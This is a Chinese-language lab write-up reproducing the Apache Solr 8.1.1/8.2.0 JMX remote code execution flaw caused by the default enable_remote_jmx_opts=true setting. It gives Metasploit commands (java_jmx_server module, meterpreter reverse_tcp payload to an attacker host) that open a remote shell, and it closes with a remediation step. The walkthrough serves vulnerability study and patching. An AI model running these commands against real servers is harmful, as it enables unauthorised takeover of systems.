该漏洞源于默认配置文件solr.in.sh中的enable_remote_jmx_opts配置选项存在安全风险。
apache solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在enable_remote_jmx_opts=true选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用jmx监视并将其暴露在rmi_port上(默认值= 18983),
并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有solr节点网络访问权限的任何人都将能够访问jmx,
并且可以上传恶意代码在solr服务器上执行。该漏洞不影响windows系统的用户,仅影响部分版本的linux用户。
0x01影响版本apache solr8.1.1版本上线时间:2019-05-28
apache solr8.2.0版本上线时间:2019-07-25
0x02漏洞危害 如果受害者使用了该默认配置,则会在默认端口18983开放jmx服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。
0x03环境搭建java环境和kali系统、solr 8.20
solr 8.20 下载地址:
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
使用unzip solr-8.2.0.zip解压
解压完成后,切换到bin目录启动solr
./solr start -force
启动后访问:http://192.168.10.176:8983/
0x04漏洞复现攻击机:kali ip:192.168.10.147
受害机:ubuntu18.6中docker ip:192.168.10.184:8983
1、使用nmap扫描端口后发现18983端口开启
2、使用metasploit中的exploit/multi/misc/java_jmx_server模块进行漏洞复现
ø use exploit/multi/misc/java_jmx_server
ø set rhost 192.168.10.184
ø set rport 18983
再来设置payload:java/meterpreter/reverse_tcp
ø set payload java/meterpreter/reverse_tcp
ø set lhost 192.168.10.147
ø set lport 4444
3、使用run执行,即可看到成功建立连接
0x05修复建议将solr.in.sh配置文件中的enable_remote_jmx_opts选项设置为false,然后重启solr服务。
以上就是如何进行apache solr jmx服务rce漏洞复现的详细内容。
